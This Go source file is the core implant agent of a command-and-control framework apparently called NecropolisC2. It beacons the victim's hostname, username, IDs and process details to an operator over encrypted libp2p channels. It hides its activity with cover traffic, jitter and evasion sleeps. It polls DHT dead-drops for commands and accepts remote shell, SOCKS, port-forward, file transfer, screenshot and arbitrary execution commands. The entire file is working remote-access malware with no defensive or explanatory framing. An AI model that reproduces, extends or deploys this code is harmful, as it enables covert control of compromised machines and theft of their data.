package core

import (
	"bytes"
	"context"
	"crypto/rand"
	"encoding/binary"
	"fmt"
	"io"
	"log"
	"os"
	"os/user"
	"runtime"
	"runtime/debug"
	"sort"
	"sync"
	"time"

	"github.com/libp2p/go-libp2p"
	"github.com/libp2p/go-libp2p/core/crypto"
	"github.com/libp2p/go-libp2p/core/network"
	"github.com/libp2p/go-libp2p/core/peer"
	tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
	ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
	"github.com/multiformats/go-multiaddr"
	"google.golang.org/protobuf/proto"

	"github.com/Yenn503/NecropolisC2/pkg/cryptography"
	"github.com/Yenn503/NecropolisC2/pkg/transport"
	apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
)

type Agent struct {
	node         *transport.Node
	messenger    *transport.Messenger
	keys         *cryptography.ImplantKey
	operatorPub  crypto.PubKey
	boxPubKey    *[32]byte
	authToken    []byte
	config       AgentConfig
	ctx          context.Context
	cancel       context.CancelFunc
	connected    bool
	connectedMu  sync.Mutex
	wg           sync.WaitGroup
	beaconStream  network.Stream
	beaconMu      sync.Mutex
	beaconWriteMu sync.Mutex

	deadManCmd     string
	deadManTimeout time.Duration
	deadManTimer   *time.Timer

	relayPeers    map[peer.ID]*relayPeerInfo
	relayMu       sync.RWMutex

	lastDHTNonce  int64

	implantBoxKeys *cryptography.BoxKeyPair
}

type AgentConfig struct {
	OperatorAddr     string
	WSSAddr          string
	BeaconInterval   time.Duration
	BeaconJitter     time.Duration
	ReconnectBackoff time.Duration
	RelayAddrs       []string
	CoverTraffic     bool
	CoverInterval    time.Duration
	CoverJitter      time.Duration
}

func DefaultAgentConfig() AgentConfig {
	return AgentConfig{
		BeaconInterval:   10 * time.Second,
		BeaconJitter:     5 * time.Second,
		ReconnectBackoff: 5 * time.Second,
		CoverTraffic:     true,
		CoverInterval:    4 * time.Second,
		CoverJitter:      3 * time.Second,
	}
}

func loadOperatorPubKey() (crypto.PubKey, error) {
	if len(embeddedOperatorPubKey) == 0 {
		return nil, fmt.Errorf("no embedded operator public key — rebuild with build-implant tool")
	}
	return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
}

func loadOperatorBoxPubKey() *[32]byte {
	if len(embeddedOperatorBoxPubKey) != 32 {
		return nil
	}
	var key [32]byte
	copy(key[:], embeddedOperatorBoxPubKey)
	return &key
}

func loadAuthToken() []byte {
	if len(embeddedAuthToken) != 32 {
		return nil
	}
	return embeddedAuthToken
}

func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
	if len(embeddedImplantPrivKey) == 0 {
		return nil, fmt.Errorf("no embedded implant private key — rebuild with necropolis generate")
	}
	priv, err := cryptography.LoadPrivateKey(embeddedImplantPrivKey)
	if err != nil {
		return nil, fmt.Errorf("unmarshal implant key: %w", err)
	}
	pub := priv.GetPublic()
	pid, err := peer.IDFromPublicKey(pub)
	if err != nil {
		return nil, fmt.Errorf("peer id from implant key: %w", err)
	}
	return &cryptography.ImplantKey{
		KeyPair:        cryptography.KeyPair{PrivateKey: priv, PublicKey: pub},
		PeerID:         pid,
		OperatorPubKey: operatorPub,
	}, nil
}

func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
	ctx, cancel := context.WithCancel(ctx)

	operatorPub, err := loadOperatorPubKey()
	if err != nil {
		cancel()
		return nil, fmt.Errorf("load operator pubkey: %w", err)
	}

	keys, err := loadImplantKey(operatorPub)
	if err != nil {
		cancel()
		return nil, fmt.Errorf("load implant key: %w", err)
	}

	nodeCfg := transport.NodeConfig{
		ListenAddr:         "/ip4/0.0.0.0/tcp/0/ws",
		BootstrapPeers:     transport.DefaultBootstrapAddrs(),
		EnableRelay:        true,
		EnableRelayService: true,
		EnableMDNS:         false,
		EnableDHT:          true,
		RelayAddrs:         cfg.RelayAddrs,
		PrivateKey:         keys.PrivateKey,
	}

	node, err := transport.NewNode(ctx, nodeCfg,
		libp2p.NoTransports,
		libp2p.Transport(ws.New),
		libp2p.Transport(tcp.NewTCPTransport),
	)
	if err != nil {
		cancel()
		return nil, fmt.Errorf("create node: %w", err)
	}

	boxPub := loadOperatorBoxPubKey()
	authToken := loadAuthToken()

	implantBoxKeys, err := cryptography.GenerateBoxKey()
	if err != nil {
		cancel()
		node.Close()
		return nil, fmt.Errorf("generate implant box key: %w", err)
	}

	a := &Agent{
		keys:           keys,
		operatorPub:    operatorPub,
		boxPubKey:      boxPub,
		authToken:      authToken,
		node:           node,
		config:         cfg,
		ctx:            ctx,
		cancel:         cancel,
		relayPeers:     make(map[peer.ID]*relayPeerInfo),
		implantBoxKeys: implantBoxKeys,
	}

	a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
	a.messenger.SetAuthToken(authToken)
	a.messenger.SetHandler(a.handleCommand)

	return a, nil
}

func (a *Agent) Start() error {
	log.Printf("[implant] PeerID: %s", a.node.ID().String())
	log.Printf("[implant] Operator: %s", a.messenger.BeaconTopic())

	if a.config.OperatorAddr != "" {
		m, err := multiaddr.NewMultiaddr(a.config.OperatorAddr)
		if err != nil {
			return fmt.Errorf("parse operator addr %s: %w", a.config.OperatorAddr, err)
		}
		pi, err := peer.AddrInfoFromP2pAddr(m)
		if err != nil {
			return fmt.Errorf("parse operator peer info: %w", err)
		}
		if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
			return fmt.Errorf("connect to operator: %w", err)
		}
		log.Printf("[implant] connected to operator directly: %s", pi.ID.String())
	}

	if a.config.WSSAddr != "" {
		m, err := multiaddr.NewMultiaddr(a.config.WSSAddr)
		if err == nil {
			pi, err := peer.AddrInfoFromP2pAddr(m)
			if err == nil {
				if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
					log.Printf("[implant] WSS fallback connect: %v", err)
				} else {
					log.Printf("[implant] connected via WSS: %s", a.config.WSSAddr)
				}
			}
		}
	}

	log.Printf("[implant] starting discovery...")
	if err := a.node.StartDiscovery(); err != nil {
		return fmt.Errorf("discovery: %w", err)
	}

	log.Printf("[implant] subscribing to commands...")
	if err := a.messenger.ListenCommands(a.ctx); err != nil {
		return fmt.Errorf("listen commands: %w", err)
	}
	if err := a.messenger.ListenTask(a.ctx, a.node.ID().String()); err != nil {
		return fmt.Errorf("listen task: %w", err)
	}

	a.node.SetStreamHandler(transport.CmdProtocolID, a.handleCommandStream)

	ns := a.messenger.RendezvousString()
	if a.node.DHT != nil {
		a.wg.Add(1)
		go a.discoverOperatorLoop(ns)
	}

	a.node.SetStreamHandler(transport.ShellProtocolID, a.handleShellStream)
	a.node.SetStreamHandler(transport.PortfwdProtocolID, a.handlePortfwdStream)
	a.node.SetStreamHandler(transport.SocksProtocolID, a.handleSocksStream)

	a.wg.Add(1)
	go a.beaconLoop()

	if a.config.CoverTraffic {
		a.wg.Add(1)
		go a.coverTrafficLoop()
	}

	a.wg.Add(1)
	go a.streamKeepaliveLoop()

	if a.node.DHT != nil {
		relayNS := a.relayRendezvous()
		a.wg.Add(1)
		go a.advertiseRelayLoop(relayNS)
		a.wg.Add(1)
		go a.discoverRelaysLoop(relayNS)
		a.wg.Add(1)
		go a.pollDHTCmdLoop()
	}

	return nil
}

func (a *Agent) discoverOperatorLoop(ns string) {
	defer a.wg.Done()
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in discoverOperatorLoop: %v", r)
		}
	}()
	log.Printf("[implant] DHT discovery started for: %s", ns)
	for {
		if a.node.DHT != nil {
			rt := a.node.DHT.RoutingTable()
			if rt != nil && rt.Size() >= 5 {
				break
			}
		}
		select {
		case <-a.ctx.Done():
			return
		default:
		}
		EvasionSleep(2 * time.Second)
	}

	for {
		func() {
			defer func() {
				if r := recover(); r != nil {
					log.Printf("[implant] panic in discoverOperatorLoop iteration: %v", r)
				}
			}()
			peerCh, err := a.node.FindPeers(a.ctx, ns)
			if err != nil {
				log.Printf("[implant] DHT find peers: %v", err)
				return
			}

			for pi := range peerCh {
				if pi.ID == a.node.ID() || pi.ID != a.messenger.OperatorID() || len(pi.Addrs) == 0 {
					continue
				}
				if err := a.node.ConnectToPeer(a.ctx, pi); err != nil {
					log.Printf("[implant] DHT connect to %s: %v", pi.ID.String(), err)
					continue
				}
				a.connectedMu.Lock()
				if !a.connected {
					a.connected = true
					a.connectedMu.Unlock()
					log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String())
					go a.sendBeaconDirect(pi.ID)
				} else {
					a.beaconMu.Lock()
					streamNil := a.beaconStream == nil
					a.beaconMu.Unlock()
					a.connectedMu.Unlock()
					if streamNil {
						log.Printf("[implant] beacon stream nil, reconnecting to %s", pi.ID.String())
						go a.sendBeaconDirect(pi.ID)
					}
				}
			}

			a.connectedMu.Lock()
			cs := a.node.Host.Network().Connectedness(a.messenger.OperatorID())
			if a.connected && cs != network.Connected && cs != network.Limited {
				a.connected = false
			}
			a.connectedMu.Unlock()
		}()

		select {
		case <-a.ctx.Done():
			return
		default:
		}
		EvasionSleep(15 * time.Second)
	}
}

func cryptoJitter(max time.Duration) time.Duration {
	if max <= 0 {
		return 0
	}
	var buf [8]byte
	rand.Read(buf[:])
	n := int64(binary.LittleEndian.Uint64(buf[:]) & 0x7FFFFFFFFFFFFFFF)
	return time.Duration(n % int64(max))
}

func (a *Agent) beaconLoop() {
	defer a.wg.Done()
	for {
		func() {
			defer func() {
				if r := recover(); r != nil {
					log.Printf("[implant] panic in beaconLoop: %v\n%s", r, debug.Stack())
				}
			}()
			a.sendBeaconRegister()
		}()

		jitter := cryptoJitter(a.config.BeaconJitter)
		sleep := a.config.BeaconInterval + jitter

		select {
		case <-a.ctx.Done():
			return
		default:
		}
		EvasionSleep(sleep)
	}
}

func (a *Agent) streamKeepaliveLoop() {
	defer a.wg.Done()
	for {
		select {
		case <-a.ctx.Done():
			return
		default:
		}
		EvasionSleep(5 * time.Second)

		func() {
			defer func() {
				if r := recover(); r != nil {
					log.Printf("[implant] panic in streamKeepaliveLoop: %v\n%s", r, debug.Stack())
				}
			}()

			a.connectedMu.Lock()
			connected := a.connected
			opID := a.messenger.OperatorID()
			a.connectedMu.Unlock()

			if !connected {
				return
			}

			env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
			if err := a.sendEnvelopeDirect(opID, env); err != nil {
			}
		}()
	}
}

func (a *Agent) coverTrafficLoop() {
	defer a.wg.Done()
	for {
		jitter := cryptoJitter(a.config.CoverJitter)
		sleep := a.config.CoverInterval + jitter

		select {
		case <-a.ctx.Done():
			return
		default:
		}
		EvasionSleep(sleep)

		func() {
			defer func() {
				if r := recover(); r != nil {
					log.Printf("[implant] panic in coverTrafficLoop: %v\n%s", r, debug.Stack())
				}
			}()
			a.sendCoverTraffic()
		}()
	}
}

func (a *Agent) sendCoverTraffic() {
	env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
	topic := a.messenger.BeaconTopic()
	if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
		log.Printf("[implant] cover traffic: %v", err)
	}
}

func (a *Agent) buildRegisterPayload() ([]byte, error) {
	hostname, _ := os.Hostname()
	username := os.Getenv("USER")
	if username == "" {
		username = os.Getenv("USERNAME")
	}
	if u, err := user.Current(); err == nil && u.Name != "" {
		username = u.Name
	} else if err == nil && u.Username != "" {
		username = u.Username
	}
	uid, gid := "", ""
	if runtime.GOOS != "windows" {
		uid = fmt.Sprintf("%d", os.Getuid())
		gid = fmt.Sprintf("%d", os.Getgid())
	}
	reg := &apb.Register{
		Name:     username,
		Hostname: hostname,
		UUID:     a.node.ID().String(),
		Username: username,
		UID:      uid,
		GID:      gid,
		OS:       runtime.GOOS,
		Arch:     runtime.GOARCH,
		PID:      int32(os.Getpid()),
		Filename: os.Args[0],
		Version:  "0.1.0",
		Locale:   os.Getenv("LANG"),
		ActiveC2: a.messenger.OperatorID().String(),
		BoxPubKey: a.boxPubKey[:],
	}
	beaconReg := &apb.Z1{
		ID:       a.node.ID().String(),
		Interval: int64(a.config.BeaconInterval.Seconds()),
		Jitter:   int64(a.config.BeaconJitter.Seconds()),
		Register: reg,
	}
	data, err := proto.Marshal(beaconReg)
	if err != nil {
		return nil, err
	}
	return data, nil
}

func (a *Agent) sendBeaconRegister() {
	beaconData, err := a.buildRegisterPayload()
	if err != nil {
		log.Printf("[implant] marshal beacon register: %v", err)
		return
	}

	env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)

	a.connectedMu.Lock()
	connected := a.connected
	opID := a.messenger.OperatorID()
	a.connectedMu.Unlock()

	if connected {
		if err := a.sendEnvelopeDirect(opID, env); err == nil {
			log.Printf("[implant] sent beacon register to %s", opID.String())
			return
		}
	}

	topic := a.messenger.BeaconTopic()
	if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
		log.Printf("[implant] send register: %v", err)
	}
}

func (a *Agent) sendBeaconDirect(operatorID peer.ID) {
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in sendBeaconDirect: %v", r)
		}
	}()
	log.Printf("[implant] sending direct beacon to %s", operatorID.String())

	beaconData, err := a.buildRegisterPayload()
	if err != nil {
		log.Printf("[implant] direct beacon marshal: %v", err)
		return
	}
	env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)
	if err := a.sendEnvelopeDirect(operatorID, env); err != nil {
		log.Printf("[implant] direct beacon send: %v", err)
		a.connectedMu.Lock()
		a.connected = false
		a.connectedMu.Unlock()
		return
	}
	log.Printf("[implant] sent direct beacon to %s", operatorID.String())
}

func (a *Agent) handleCommand(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
	if err := transport.VerifyEnvelope(env, a.operatorPub); err != nil {
		log.Printf("[implant] dropped command — %v", err)
		return
	}

	if !bytes.Equal(env.Token, a.authToken) {
		log.Printf("[implant] dropped command — auth token mismatch")
		return
	}

	if a.messenger.IsReplay(env.ID) {
		log.Printf("[implant] dropped replay — type=%d id=%d", env.Type, env.ID)
		return
	}

	log.Printf("[implant] received command type=%d", env.Type)

	if a.implantBoxKeys != nil && len(env.Data) > 0 {
		decrypted, err := cryptography.DecryptMessage(env.Data, a.implantBoxKeys)
		if err == nil {
			env.Data = decrypted
			log.Printf("[implant] decrypted command type=%d", env.Type)
		}
	}

	if a.deadManTimer != nil {
		a.deadManTimer.Reset(a.deadManTimeout)
	}

	switch env.Type {
	case transport.MsgTypePs:
		a.handlePs(env)
	case transport.MsgTypeDownload:
		a.handleDownload(env)
	case transport.MsgTypeUpload:
		a.handleUpload(env)
	case transport.MsgTypeScreenshot:
		a.handleScreenshot(env)
	case transport.MsgTypeLs:
		a.handleLs(env)
	case transport.MsgTypeCd:
		a.handleCd(env)
	case transport.MsgTypePwd:
		a.handlePwd(env)
	case transport.MsgTypeExecute:
		a.handleExecute(env)
	case transport.MsgTypeKill:
		a.handleKill(env)
	case transport.MsgTypeDeadMan:
		a.handleDeadMan(env)
	default:
		log.Printf("[implant] unknown cmd type=%d", env.Type)
	}
}

func (a *Agent) handleCommandStream(s network.Stream) {
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in handleCommandStream: %v\n%s", r, debug.Stack())
		}
	}()
	defer s.Close()

	remotePeer := s.Conn().RemotePeer()
	log.Printf("[implant] command stream from %s", remotePeer.String())

	var msgLen uint32
	if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
		log.Printf("[implant] command stream read len: %v", err)
		return
	}
	if msgLen > 1<<20 {
		return
	}
	data := make([]byte, msgLen)
	if _, err := io.ReadFull(s, data); err != nil {
		log.Printf("[implant] command stream read data: %v", err)
		return
	}

	env := &apb.Envelope{}
	if err := proto.Unmarshal(data, env); err != nil {
		log.Printf("[implant] command stream unmarshal: %v", err)
		return
	}

	a.handleCommand(a.ctx, env, nil)
}

func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
	ctx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
	defer cancel()
	ctx = network.WithAllowLimitedConn(ctx, "beacon stream")

	s, err := a.node.NewStream(ctx, operatorID, transport.BeaconProtocolID)
	if err != nil {
		return nil, fmt.Errorf("open stream: %w", err)
	}
	return s, nil
}

func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
	var data []byte
	if a.boxPubKey != nil && len(env.Data) > 0 {
		encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
		if err != nil {
			return fmt.Errorf("encrypt: %w", err)
		}
		data = encrypted
	} else {
		data = env.Data
	}

	wireEnv := &apb.Envelope{
		ID:    env.ID,
		Type:  env.Type,
		Data:  data,
		Token: env.Token,
	}
	pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
	if err == nil {
		wireEnv.SenderKey = pubBytes
	}

	signingData, err := transport.EnvelopeSigningBytes(wireEnv)
	if err != nil {
		return fmt.Errorf("marshal signing data: %w", err)
	}
	sig, err := a.keys.PrivateKey.Sign(signingData)
	if err != nil {
		return fmt.Errorf("sign: %w", err)
	}
	wireEnv.Signature = sig

	s := a.getBeaconStream(operatorID)
	if s == nil {
		return fmt.Errorf("nil beacon stream")
	}

	envData, err := proto.Marshal(wireEnv)
	if err != nil {
		return fmt.Errorf("marshal: %w", err)
	}

	a.beaconWriteMu.Lock()
	defer a.beaconWriteMu.Unlock()

	s.SetWriteDeadline(time.Now().Add(5 * time.Second))
	if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
		s.Close()
		a.setBeaconStream(nil)
		return fmt.Errorf("write len: %w", err)
	}
	if _, err := s.Write(envData); err != nil {
		s.Close()
		a.setBeaconStream(nil)
		return fmt.Errorf("write data: %w", err)
	}
	s.SetWriteDeadline(time.Time{})
	return nil
}

func (a *Agent) getBeaconStream(operatorID peer.ID) network.Stream {
	a.beaconMu.Lock()
	s := a.beaconStream
	if s != nil {
		a.beaconMu.Unlock()
		return s
	}
	a.beaconMu.Unlock()

	cs := a.node.Host.Network().Connectedness(operatorID)
	if cs == network.Connected || cs == network.Limited {
		s, err := a.openBeaconStream(operatorID)
		if err == nil {
			return a.setOrCloseBeaconStream(s, "direct")
		}
	}

	a.relayMu.RLock()
	var candidates []peer.ID
	for id, rp := range a.relayPeers {
		if rp.connected {
			candidates = append(candidates, id)
		}
	}
	// prefer relays with fewer failures — cheapest signal available
	sort.Slice(candidates, func(i, j int) bool {
		return a.relayPeers[candidates[i]].failCount < a.relayPeers[candidates[j]].failCount
	})
	a.relayMu.RUnlock()

	for _, relayID := range candidates {
		circuitAddr := fmt.Sprintf("/p2p/%s/p2p-circuit/p2p/%s",
			relayID.String(), operatorID.String())
		m, err := multiaddr.NewMultiaddr(circuitAddr)
		if err != nil {
			continue
		}
		connCtx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
		err = a.node.ConnectToPeer(connCtx, peer.AddrInfo{ID: operatorID, Addrs: []multiaddr.Multiaddr{m}})
		cancel()
		if err != nil {
			log.Printf("[implant] relay %s to operator: %v", relayID.String(), err)
			continue
		}
		log.Printf("[implant] connected to operator via relay %s", relayID.String())
		s, err := a.openBeaconStream(operatorID)
		if err == nil {
			return a.setOrCloseBeaconStream(s, "relayed")
		}
	}

	return nil
}

func (a *Agent) setBeaconStream(s network.Stream) {
	a.beaconMu.Lock()
	a.beaconStream = s
	a.beaconMu.Unlock()
}

func (a *Agent) setOrCloseBeaconStream(s network.Stream, via string) network.Stream {
	a.beaconMu.Lock()
	if a.beaconStream == nil {
		a.beaconStream = s
	} else {
		s.Close()
		s = a.beaconStream
	}
	a.beaconMu.Unlock()
	log.Printf("[implant] persistent beacon stream opened (%s)", via)
	return s
}

func (a *Agent) pollDHTCmdLoop() {
	defer a.wg.Done()
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in pollDHTCmdLoop: %v", r)
		}
	}()

	if !a.node.WaitForDHT(a.ctx) {
		return
	}

	opID := a.messenger.OperatorID()
	for {
		nonce := a.lastDHTNonce + 1
		key := transport.CommandDHTKey(opID, nonce)
		val, err := a.node.GetDHTValue(a.ctx, key)
		if err != nil || len(val) == 0 {
			select {
			case <-a.ctx.Done():
				return
			case <-time.After(30 * time.Second):
			}
			continue
		}

		env := &apb.Envelope{}
		if err := proto.Unmarshal(val, env); err != nil {
			log.Printf("[implant] dht dead-drop unmarshal: %v", err)
			select {
			case <-a.ctx.Done():
				return
			case <-time.After(30 * time.Second):
			}
			continue
		}

		a.handleCommand(a.ctx, env, nil)
		a.lastDHTNonce = nonce

		select {
		case <-a.ctx.Done():
			return
		case <-time.After(30 * time.Second):
		}
	}
}

func (a *Agent) Close() error {
	a.cancel()
	a.wg.Wait()
	return a.node.Close()
}